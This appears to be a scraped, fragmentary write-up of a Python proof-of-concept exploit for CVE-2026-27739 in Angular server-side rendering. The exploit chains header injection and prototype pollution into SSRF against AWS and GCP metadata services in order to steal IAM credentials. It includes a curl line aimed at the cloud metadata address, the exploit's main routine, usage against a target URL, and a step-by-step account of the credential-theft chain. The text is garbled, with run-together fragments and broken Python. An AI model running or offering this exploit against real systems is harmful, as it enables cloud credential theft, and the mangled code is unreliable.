
Python PoC exploiting CVE-2026-27739 in Angular SSR: header injection via prototype pollution and SSRF chaining to AWS IMDS/GCP metadata for credential theft.
curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}
Description: Angular SSR processes unsafe query parameters affecting prototype chain Impact: Request header manipulation, potential SSRF chaining
express-validator or similar for header sanitizationdef main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF & Header Injection Exploit") parser.add_argument("target", help="Target Angular SSR application URL") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL verification")
args = parser.parse_args()
exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)
print(f"[+] Targeting: {args.target}")
print(f"[+] SSL Verify: {'Disabled' if args.no_ssl_verify else 'Enabled'}")
# Execute exploit chain
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()
if name == "main": main() Usage bash
python3 angular_ssr_exploit.py https://target.com
python3 angular_ssr_exploit.py https://target.com --no-ssl-verify How It Works Header Injection Test: Sends prototype pollution payloads and unsafe forwarded headers that Angular SSR might process insecurely SSRF Chain: Tests access to AWS IMDS, GCP metadata, localhost services via X-Forwarded-For/X-Original-URL IMDSv2 Token Extraction: Chains SSRF to steal AWS metadata tokens then IAM credentials Automated Reporting: Generates CVSS-scored pentest report with PoCs Technical Details Root Cause: Angular Universal SSR apps often forward req.headers directly to internal APIs without sanitization:
javascript
// Vulnerable Angular SSR pattern app.get('*', (req, res) => { const url = req.headers['x-original-url'] || req.originalUrl; // SSRF internalFetch(url, { headers: req.headers }); // Header injection });